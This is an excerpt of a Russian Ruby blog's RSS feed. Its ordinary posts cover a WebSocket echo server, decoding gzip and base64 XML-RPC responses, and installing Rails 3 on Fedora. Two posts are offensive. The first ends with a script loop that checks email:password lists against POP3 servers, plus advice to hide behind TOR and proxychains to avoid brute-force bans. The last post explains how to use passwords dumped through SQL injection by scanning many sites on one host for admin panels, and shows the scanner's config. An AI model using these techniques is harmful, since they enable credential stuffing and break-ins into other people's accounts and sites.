<span style="color:#9966CC; font-weight:bold;">while</span> !inf.<span style="color:#9900CC;">eof</span> <span style="color:#9966CC; font-weight:bold;">do</span>
  str=inf.<span style="color:#CC0066; font-weight:bold;">gets</span>.<span style="color:#CC0066; font-weight:bold;">chop!</span>
  <span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">&quot;#{i})#{str} checking...&quot;</span> <span style="color:#008000; font-style:italic;">###</span>
  STDOUT.<span style="color:#9900CC;">flush</span>
  ret=check<span style="color:#006600; font-weight:bold;">&#40;</span>str.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;:&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span>,str.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;:&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span>,$service<span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#9900CC;">to_i</span>
  <span style="color:#9966CC; font-weight:bold;">case</span> ret
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">3</span>
      log<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Unknow time is out #{str}&quot;</span>,$logfile<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">2</span>
      log<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Can't connect to the server #{str}&quot;</span>,$logfile<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
      log<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Can't auth #{str}&quot;</span>,$logfile<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006666;">0</span>
      <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;FAIL #{str}&quot;</span>
    <span style="color:#9966CC; font-weight:bold;">else</span>
      <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{str} SUCCESS #{ret}&quot;</span>
  <span style="color:#9966CC; font-weight:bold;">end</span>
  i<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
inf.<span style="color:#9900CC;">close</span></pre></td></tr></table></div>

<p>Ну тут все просто и примитивно.</p>
<h2>заключение</h2>
<p>Следует помнить, что доступ по POP3 вообще может быть отключен у почты, в этом случае почта будет добавлен в лог, как имеющая не верный пароль. Помимо этого если в списке много раз будет не проходить авторизация, то тот или иной POP3-сервер может забанить ваш IP за брутфорс, чтобы такого не было рекомендую запускать скрипт через известную связку TOR-Privoxy-Proxychains.</p>
<p>Целиком скрипт можно скачать тут - <a href="http://blog.lukmus.ru/wp-content/uploads/2011/07/check_mail_for_diff_accs.rb_.zip">check_mail_for_diff_accs.rb</a>.<br />
<meta property="og:image" content="http://blog.lukmus.ru/wp-content/uploads/2011/07/Талон_1990_Ленинград_2.jpg" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2011/07/27/1038/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ruby WS-сервер под HTML5 WebSockets</title>
		<link>http://blog.lukmus.ru/2011/06/16/ruby-ws-server-pod-html5-websockets/</link>
		<comments>http://blog.lukmus.ru/2011/06/16/ruby-ws-server-pod-html5-websockets/#comments</comments>
		<pubDate>Thu, 16 Jun 2011 01:15:41 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[ruby & ruby on rails]]></category>
		<category><![CDATA[em-http-request]]></category>
		<category><![CDATA[em-websocket]]></category>
		<category><![CDATA[eventmachine]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[websockets]]></category>
		<category><![CDATA[ws]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=1009</guid>
		<description><![CDATA[WebSockets &#8211; новая и очень крутая штука в HTML5. В большинстве случаев WS быстрее, легче и эффективнее всяких там AJAX&#8217;ов, не говоря уже о Flash. Подробнее о WebSockets в HTML5 на википедии. Но речь здесь не о HTML5, а больше о сервере под веб-сокеты т.к. они работают не по протоколу HTTP/HTTPS, а по WS/WSS. Разумеется [...]]]></description>
			<content:encoded><![CDATA[<p>WebSockets &#8211; новая и очень крутая штука в HTML5. В большинстве случаев WS быстрее, легче и эффективнее всяких там AJAX&#8217;ов, не говоря уже о Flash. Подробнее о WebSockets в HTML5 на <a rel="nofollow" href="http://ru.wikipedia.org/wiki/WebSocket" target="_blank">википедии</a>. Но речь здесь не о HTML5, а больше о сервере под веб-сокеты т.к. они работают не по протоколу HTTP/HTTPS, а по WS/WSS. Разумеется для всяких там апачей есть вагон модулей для работы с WS на том же порте что и HTTP, однако, может возникнуть ситуация что нужно будет иметь код-сервер (а-ля webrick) реализованный скажем в как cron через rake, я имею ввиду Ruby on Rails разумеется.<br />
<a href="http://blog.lukmus.ru/wp-content/uploads/2011/06/ws.png"><img class="aligncenter size-full wp-image-1010" title="ws" src="http://blog.lukmus.ru/wp-content/uploads/2011/06/ws.png" alt="" width="517" height="324" /></a><span id="more-1009"></span></p>
<h2>суть</h2>
<p>WS-сервер, который рассмотрен здесь, вовсе не сервер типа Apache, а простая библиотека Ruby, которая берет всю заботу о соблюдении норм протокола на себя.</p>
<h2>установка</h2>
<p>Для начала нужно установить компилятор <code>g++</code>, именно его т.к. последующие гемы пользуются им, а не <code>gcc</code>. Не знаю как других дистрах, а в Fedora&#8217;е <code>gcc</code> и <code>g++</code> 2 разных пакета.</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">yum install</span> gcc-c++</pre></td></tr></table></div>

<p>Теперь надо установить несколько гемов:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">gem <span style="color: #c20cb9; font-weight: bold;">install</span> eventmachine em-websocket em-http-request</pre></td></tr></table></div>

<p>Официальная страница библиотеки &#8211; <a href="https://github.com/igrigorik/em-websocket" target="_blank">https://github.com/igrigorik/em-websocket</a></p>
<h2>пример</h2>
<h3>серверная часть</h3>
<p>Я взял пример с офстраницы и чуть-чуть его видо изменил, добавив вывод в консоль клиентского сообщения:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'em-websocket'</span>
&nbsp;
<span style="color:#6666ff; font-weight:bold;">EventMachine::WebSocket</span>.<span style="color:#9900CC;">start</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#ff3333; font-weight:bold;">:host</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">&quot;0.0.0.0&quot;</span>, <span style="color:#ff3333; font-weight:bold;">:port</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">8080</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>ws<span style="color:#006600; font-weight:bold;">|</span>
  ws.<span style="color:#9900CC;">onopen</span>    <span style="color:#006600; font-weight:bold;">&#123;</span> ws.<span style="color:#9900CC;">send</span> <span style="color:#996600;">&quot;Hi!&quot;</span><span style="color:#006600; font-weight:bold;">&#125;</span>
  ws.<span style="color:#9900CC;">onmessage</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>msg<span style="color:#006600; font-weight:bold;">|</span>
	ws.<span style="color:#9900CC;">send</span> <span style="color:#996600;">&quot;Pong: #{msg}&quot;</span>
	<span style="color:#CC0066; font-weight:bold;">puts</span> msg
  <span style="color:#9966CC; font-weight:bold;">end</span>
  ws.<span style="color:#9900CC;">onclose</span>   <span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;WebSocket closed&quot;</span> <span style="color:#006600; font-weight:bold;">&#125;</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>

<p>Этот код будет слушать порт 8080 на localhost. Когда к нему присоединяется клиент, то он ему отправляет &#8216;Hi!&#8217;, далее на каждое клиентское сообщение он отвечает эхо-ответом <code>"Pong: #{msg}"</code>.</p>
<h3>клиентская часть</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta charset='utf-8'/&gt;
&lt;title&gt;ХТМЛ5&lt;/title&gt;
&nbsp;
&lt;script&gt;
&nbsp;
function log(e){
	lg=document.getElementById('log');
	lg.innerHTML=lg.innerHTML+(e+&quot;\r\n&quot;);
}
&nbsp;
w=new WebSocket'ws://localhost:8080'); //создаем сокет
&nbsp;
// при открытии соединения выводим 'open' и
// отправляем 'client open'&lt;/span&gt;
w.onopen=function(){ log(&quot;open&quot;); w.send('client open'); }
&nbsp;
// полученное сообщение выводим
w.onmessage=function&lt;/span&gt;(e){ log(e.data);}
&nbsp;
// при закрытии выводим 'client closed'
w.onclose=function(e){ log(&quot;client closed&quot;);}
&nbsp;
// по нажатию на клавишу отправляем содержимое поля,
// выводим и чистим поле
function oncl(){
 txt=document.getElementById('txt');
 w.send(txt.value); log('-'+txt.value); txt.value=''; }
&lt;/script&gt;
&nbsp;
&lt;/head&gt;
&lt;body&gt;
&lt;input type='button' id='btn' value='ok' onClick='oncl();'&gt;
&lt;input type='text' id='txt' /&gt;
&lt;div id='log' 
  style='border:1px solid black; width:400px; height:500px;'&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></td></tr></table></div>

<p>Разметка представляет из себя поле, кнопку и div 400&#215;500 с черной рамкой, что касается кода, то тут собственно все росписано в комментариях, а если по серьезному то нужно читать <a href="http://dev.w3.org/html5/websockets/" target="_blank">специализацию HTML5 по WebSockets</a>.</p>
<p>P.S. чем больше будет сайтов на HTML5 тем быстрее люди перейдут на него.<br />
<meta property="og:image" content="http://blog.lukmus.ru/wp-content/uploads/2011/06/ws.png" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2011/06/16/ruby-ws-server-pod-html5-websockets/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>XML-RPC+gzip+base64 на Ruby</title>
		<link>http://blog.lukmus.ru/2011/01/26/xml-rpcgzipbase64-na-ruby/</link>
		<comments>http://blog.lukmus.ru/2011/01/26/xml-rpcgzipbase64-na-ruby/#comments</comments>
		<pubDate>Wed, 26 Jan 2011 08:35:38 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[ruby & ruby on rails]]></category>
		<category><![CDATA[deflate]]></category>
		<category><![CDATA[gzip]]></category>
		<category><![CDATA[inflate]]></category>
		<category><![CDATA[rexml]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[tempfile]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[xml-rpc]]></category>
		<category><![CDATA[xmlrpc]]></category>
		<category><![CDATA[zlib]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=889</guid>
		<description><![CDATA[Пишу здесь чтобы не забыть. Сейчас XML-RPC довольно популярен, и как показывает практика мало кто, например из интернет-магазинов, использует его в чистом виде. В основном ресурсы, где выходной XML довольно большой, любят сжимать его Zlib&#8217;ом и после чего этот бинарник шифровать base64, а-ля он вовсе и не бинарник. XML-RPC Для XML-RPC в Ruby замечательная библиотека [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2011/01/logo.png"><img class="size-full wp-image-890 alignright" style="margin-right: 4px;" title="logo" src="http://blog.lukmus.ru/wp-content/uploads/2011/01/logo.png" alt="" width="158" height="48" /></a>Пишу здесь чтобы не забыть. Сейчас XML-RPC довольно популярен, и как показывает практика мало кто, например из интернет-магазинов, использует его в чистом виде. В основном ресурсы, где выходной XML довольно большой, любят сжимать его Zlib&#8217;ом и после чего этот бинарник шифровать base64, а-ля он вовсе и не бинарник.<span id="more-889"></span></p>
<h2>XML-RPC</h2>
<p>Для XML-RPC в Ruby замечательная библиотека с одноименным названием XMLRPC.</p>
<p>И для примера рассмотрим как ей пользоватся:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">require</span> <span style="color: #0000ff;">'xmlrpc/client'</span>
XMLRPC<span style="color: #339933;">::</span><span style="color: #004000;">Client</span><span style="color: #339933;">.</span>class_eval <span style="color: #b1b100;">do</span>
    def parse_content_type<span style="color: #009900;">&#40;</span>a<span style="color: #009900;">&#41;</span>
      <span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'text/xml'</span><span style="color: #009900;">&#93;</span>
    <span style="color: #990000;">end</span>
  <span style="color: #990000;">end</span>
&nbsp;
client <span style="color: #339933;">=</span> XMLRPC<span style="color: #339933;">::</span><span style="color: #004000;">Client</span><span style="color: #339933;">.</span>new2<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://site.ru/xml&quot;</span><span style="color: #009900;">&#41;</span>
result <span style="color: #339933;">=</span> client<span style="color: #339933;">.</span>call<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;xmlrpc.cmd&quot;</span><span style="color: #009900;">&#41;</span></pre></td></tr></table></div>

<p>Перегрузка <code>parse_content_type</code> нужна для того, чтобы Ruby не смущался, когда заголовок у выходного документа не <code>text/xml</code>. Об этой штуке  я прочитал на <a href="http://blog.alno.name/ru/2009/03/xmlrpc-in-ruby" target="_blank">http://blog.alno.name/ru/2009/03/xmlrpc-in-ruby</a>.</p>
<p>Если для XML-RPC нужна базовая авторизация, то используем</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">client <span style="color: #339933;">=</span> XMLRPC<span style="color: #339933;">::</span><span style="color: #004000;">Client</span><span style="color: #339933;">.</span>new3<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://site.ru/xml&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'login'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'pass'</span><span style="color: #009900;">&#41;</span></pre></td></tr></table></div>

<p>Однако, на моем опыте не было случаев с базовой авторизацией в XML-RPC. Часто встречалось, что логин и пароль сували как параметры в сам запрос т.е. они были как параметры в запросном XML:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">result <span style="color: #339933;">=</span> client<span style="color: #339933;">.</span>call<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;xmlrpc.cmd&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'login'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'pass'</span><span style="color: #009900;">&#41;</span></pre></td></tr></table></div>

<p>На этом, если в ресурсе нет больше никаких примочек, в <code>result</code> будет уже хэш.</p>
<h2>base64</h2>
<p>Теперь рассмотрим вариант, если выходной XML зашифрован base64. Расшифровывать его можно так:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">require</span> <span style="color: #0000ff;">'base64'</span>
puts Base64<span style="color: #339933;">.</span>decode64<span style="color: #009900;">&#40;</span>result<span style="color: #009900;">&#41;</span></pre></td></tr></table></div>

<p>Однако, это не единственный вариант т.к. в библиотеке XMLRPC есть тоже класс для этого.<br />
Приведу еще пример, как вывести зашифрованный XML во временный файл, предварительно расшифровав.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">require</span> <span style="color: #0000ff;">'base64'</span>
<span style="color: #b1b100;">require</span> <span style="color: #0000ff;">'tempfile'</span>
&nbsp;
fl<span style="color: #339933;">=</span>Tempfile<span style="color: #339933;">.</span><span style="color: #000000; font-weight: bold;">new</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'xmlrpc'</span><span style="color: #009900;">&#41;</span>
fl<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span> Base64<span style="color: #339933;">.</span>decode64<span style="color: #009900;">&#40;</span>result<span style="color: #009900;">&#41;</span>
fl<span style="color: #339933;">.</span>close</pre></td></tr></table></div>

<h2>gzip</h2>
<p>Как правило base64 просто так не используют т.к. с точки зрения криптографии он не реализует никакой стоящей защиты данных, а для приведения бинарника к текстовом виду он как раз подойдет.</p>
<p>В Zlib существует 2 метода для сжатия и распаковки строки:</p>
<ul>
<li><code>Zlib::Deflate.deflate(string, level)</code> &#8211; сжатие</li>
<li><code>Zlib::Inflate.inflate(string)</code> &#8211; распаковка</li>
</ul>
<p>Все было бы очень легко и просто, но к сожалению, Zlib::Inflate.inflate(string) не вернет нам распакованный XML-RPC ответ, единственное, что вы увидите:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">`inflate<span style="color: #0000ff;">': incorrect header check (Zlib::DataError)</span></pre></td></tr></table></div>

<p>Собственно, поэтому нам и потребовалось записать расшифрованный base64 XML во временный файл, чтобы распаковать gzip другим способом:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">require</span> <span style="color: #0000ff;">'zlib'</span>
<span style="color: #b1b100;">include</span> Zlib
<span style="color: #339933;">...</span>
fl<span style="color: #339933;">=</span>Tempfile<span style="color: #339933;">.</span><span style="color: #000000; font-weight: bold;">new</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'xmlrpc'</span><span style="color: #009900;">&#41;</span>
fl<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span> Base64<span style="color: #339933;">.</span>decode64<span style="color: #009900;">&#40;</span>result<span style="color: #009900;">&#41;</span>
fl<span style="color: #339933;">.</span>close
xmlrpc<span style="color: #339933;">=</span><span style="color: #0000ff;">''</span>
Zlib<span style="color: #339933;">::</span><span style="color: #004000;">GzipReader</span><span style="color: #339933;">.</span>open<span style="color: #009900;">&#40;</span>fl<span style="color: #339933;">.</span>path<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #339933;">|</span>gz<span style="color: #339933;">|</span> xmlrpc<span style="color: #339933;">=</span>gz<span style="color: #339933;">.</span>read<span style="color: #009900;">&#125;</span>
fl<span style="color: #339933;">.</span>close<span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span></pre></td></tr></table></div>

<p><code>fl.close(true)</code> с флагом <code>true</code> удаляет временный файл.</p>
<h2>получение хэша их XML</h2>
<p>Вообще, существует миллион двести различных библиотек и классов для расхэширования XML, но я не буду проводить исследования и воспользуюсь, пусть и не самым быстрым, зато стандартным REXML.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">require</span> <span style="color: #0000ff;">'rexml/document'</span>
<span style="color: #b1b100;">include</span> REXML
<span style="color: #339933;">...</span>
xml<span style="color: #339933;">=</span>Document<span style="color: #339933;">.</span><span style="color: #000000; font-weight: bold;">new</span> xmlrpc</pre></td></tr></table></div>

<p>Все, теперь в переменной <code>xml</code> лежит хэш.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2011/01/26/xml-rpcgzipbase64-na-ruby/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ruby on Rails 3. установка на fedora 13</title>
		<link>http://blog.lukmus.ru/2010/11/20/ruby-on-rails-3-ustanovka-na-fedora-13/</link>
		<comments>http://blog.lukmus.ru/2010/11/20/ruby-on-rails-3-ustanovka-na-fedora-13/#comments</comments>
		<pubDate>Sat, 20 Nov 2010 22:19:08 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[ruby & ruby on rails]]></category>
		<category><![CDATA[настройка и установка]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[fedora 13 x64]]></category>
		<category><![CDATA[gem]]></category>
		<category><![CDATA[ROR 3]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[ruby on rails 3]]></category>
		<category><![CDATA[zlib error]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=596</guid>
		<description><![CDATA[Я решил отказатся от многократного изобретения велосипеда на PHP в пользу ROR. Так как ROR на данный момент я знаю очень плохо, а точнее сказать, когда-то год назад меня хватило чтобы сделать на ROR 1 по книге, самый примитивный в мире сайт-фотогалерею, я буду писать в блоге все свои учения ROR&#8217;у исходя из позиции, что [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/11/ror.png"><img class="alignright size-full wp-image-597" title="ruby on rails 3" src="http://blog.lukmus.ru/wp-content/uploads/2010/11/ror.png" alt="" width="111" height="132" /></a>Я решил отказатся от многократного изобретения велосипеда на PHP в пользу ROR. Так как ROR на данный момент я знаю очень плохо, а точнее сказать, когда-то год назад меня хватило чтобы сделать на ROR 1 по книге, самый примитивный в мире сайт-фотогалерею, я буду писать в блоге все свои учения ROR&#8217;у исходя из позиции, что Ruby знаю, а ROR ничерта. Тем кто совершенно случайно зашел сюда, а сюда иначе не заходят, предлагаю учится вместе со мной т.е. задавать вопросы или отвечать на мои, а также исправлять меня.<span id="more-596"></span></p>
<h2>установка Ruby on Rails 3 на Fedora 13</h2>
<p>Для ROR 3, не подходит Ruby меньше 1.8.7. И так как в моих репозитариях есть только ruby 1.8.6, будем устанавливать из тарбола.</p>
<ol>
<li>качаем последний ruby<br />
<code>$ wget ftp://ftp.ruby-lang.org//pub/ruby/1.9/ruby-1.9.2-p0.tar.gz</code></li>
<li>распаковываем и устанавливаем<br />
<code># tar -xvzf ruby-1.9.2-p0.tar.gz &amp;&amp; cd ruby-1.9.2-p0 &amp;&amp; ./configure &amp;&amp; make &amp;&amp; make install</code></li>
</ol>
<p>По идее теперь все что нужно установлено, а именно ruby и gem:</p>
<p><code># ruby -v<br />
ruby 1.9.2p0 (2010-08-18 revision 29036) [x86_64-linux]<br />
# gem -v<br />
1.3.7</code></p>
<p>И если на команду</p>
<p><code># gem install rails</code></p>
<p>у вас будет такая реакция</p>
<p><code># gem install rails<br />
Successfully installed activesupport-3.0.3<br />
Successfully installed builder-2.1.2<br />
Successfully installed i18n-0.4.2<br />
Successfully installed activemodel-3.0.3<br />
...</code></p>
<p>то все отлично установилось. У меня же реакция была другая.</p>
<p><code># gem install rails<br />
ERROR:  Loading command: install (LoadError)<br />
no such file to load -- zlib<br />
ERROR:  While executing gem ... (NameError)<br />
uninitialized constant Gem::Commands::InstallCommand</code></p>
<p>Некоторые, конечно, на этом месте сразу полезут в гуглояндекс в поисках ответа на загвоздку и наткнутся на миллион двести форумов, где рекомендуется скачать и установить библиотеку ruby-zlib<br />
<code><br />
$ wget http://www.blue.sky.or.jp/atelier/ruby/ruby-zlib-0.6.0.tar.gz<br />
$ tar -xvzf ruby-zlib-0.6.0.tar.gz &amp;&amp; cd ruby-zlib-0.6.0<br />
# ruby extconf.rb &amp;&amp; make &amp;&amp; make install</code></p>
<p>после чего пересобрать gem, возможно это кому-то и помогло, но не мне.</p>
<p>Короче, здесь нужно делать так:</p>
<ol>
<li>если есть в репах zlib, который не установлен &#8211; надо его поставить<br />
<code># yum install zlib</code></li>
<li>попробывать вариант с <a rel="nofollow" href="http://fedoraphprails.blogspot.com/2010/07/installing-and-setting-up-rails-3-on.html" target="_blank">RVM</a></li>
</ol>
<p>И если это не поможет, а так скорее всего и будет (но zlib из реп все равно надо установить), то воспользоватся безотказным вариантом, который мне подсказал <a href="http://babusha.ax3.net/blog/?p=589" target="_blank">http://babusha.ax3.net/blog/?p=589</a>.</p>
<ol>
<li>заходим в директорию с только что скачанными исходниками ruby 1.9.2<br />
<code># cd ruby-1.9.2-p0</code></li>
<li>и далее компилим zlib отсюда<br />
<code># cd ext/zlib &amp;&amp; ruby extconf.rb &amp;&amp; make &amp;&amp; make install</code></li>
</ol>
<p>Теперь все должно получится<br />
<code># gem install rails<br />
Successfully installed activesupport-3.0.3<br />
Successfully installed builder-2.1.2<br />
Successfully installed i18n-0.4.2<br />
Successfully installed activemodel-3.0.3<br />
...<br />
Successfully installed bundler-1.0.7<br />
Successfully installed rails-3.0.3<br />
23 gems installed<br />
...<br />
Installing RDoc documentation for railties-3.0.3...<br />
Installing RDoc documentation for bundler-1.0.7...<br />
Installing RDoc documentation for rails-3.0.3...<br />
</code><br />
Все, завтра начну учится делать сайт, после чего здесь все опишу.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/11/20/ruby-on-rails-3-ustanovka-na-fedora-13/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>поиск админок на множестве сайтов</title>
		<link>http://blog.lukmus.ru/2010/09/18/poisk-adminok-na-mnozhestve-saytov/</link>
		<comments>http://blog.lukmus.ru/2010/09/18/poisk-adminok-na-mnozhestve-saytov/#comments</comments>
		<pubDate>Sat, 18 Sep 2010 16:46:51 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[админка]]></category>
		<category><![CDATA[поиск]]></category>
		<category><![CDATA[список]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=508</guid>
		<description><![CDATA[Иногда бывает такая ситуация, когда допустим получив доступ к базе и слив оттуда все пароли нужно найти тот скрипт, где эти пароли подойдут. Все бы было ничего, если бы админка находилась на том же сайте что и уязвимое место. Тогда бы мы просто просканировали сайт по списку, допустим тем же Havij&#8217;ом. Однако, часто так бывает, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/09/adminki.jpg"><img class="alignleft size-full wp-image-509" title="adminki" src="http://blog.lukmus.ru/wp-content/uploads/2010/09/adminki.jpg" alt="поиск админки" width="151" height="150" /></a>Иногда бывает такая ситуация, когда допустим получив доступ к базе и слив оттуда все пароли нужно найти тот скрипт, где эти пароли подойдут. Все бы было ничего, если бы админка находилась на том же сайте что и уязвимое место. Тогда бы мы просто просканировали сайт по списку, допустим тем же Havij&#8217;ом.<span id="more-508"></span></p>
<p>Однако, часто так бывает, что на одном хостинге (аккаунт хостинга) размещается куча сайтов, но т.к. аккаунт от хостинга 1, то и сервер БД один, а иногда и БД одна для разных сайтов.</p>
<p>Короче, представим такую ситауцию, вы нашли уязвимое место, скажем SQL-inj, вытащили все пароли, но на этом сайте нет админок или эти пароли не подходят. В таком случае нужно найти все сайты, которые висят на этом сервере или же все сайты, которые принадлежат этому акку хостинга. Узнать последнее &#8211; задача не тривиальная, а первое можно через тот же 2ip.ru.</p>
<p>Далее весь этот список сайтов нужно просканировать на различные пути к админке. Havij позволят за 1 раз искать пути только к 1 сайту. А если у нас список из 50-100 сайтов, то каждый раз вбивать в ручную в Havij утомительно.</p>
<p>Я предлагаю такой простенький скриптик, который переберет все пути к списку сайтов. Скачать можно <a href="http://blog.lukmus.ru/wp-content/uploads/2012/05/adminfinder-10-05-2012.tar.gz" target="_blank">здесь</a>.</p>
<h2>конфигурация</h2>
<p>Открываем файл config.rb и видим:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$site_list</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;site_list&quot;</span> <span style="color: #666666; font-style: italic;"># список сайтов
</span><span style="color: #000088;">$admin_list</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;admin_list&quot;</span> <span style="color: #666666; font-style: italic;"># список путей к админкам
</span><span style="color: #000088;">$th_count</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">50</span> <span style="color: #666666; font-style: italic;"># количество потоков
</span><span style="color: #000088;">$log_file</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;log&quot;</span> <span style="color: #666666; font-style: italic;"># лог файл, записываются успешные пути</span></pre></td></tr></table></div>

<p>и все сразу становится понятно.</p>
<p>В архиве прилагается список путей к админкам честно украденный из Havij.</p>
<p>Принцип работы скрипта прост &#8211; запрашивает страницу с данным путем и если код ответа сервера не равен 404, то путь записывается в $log_file как успешный.</p>
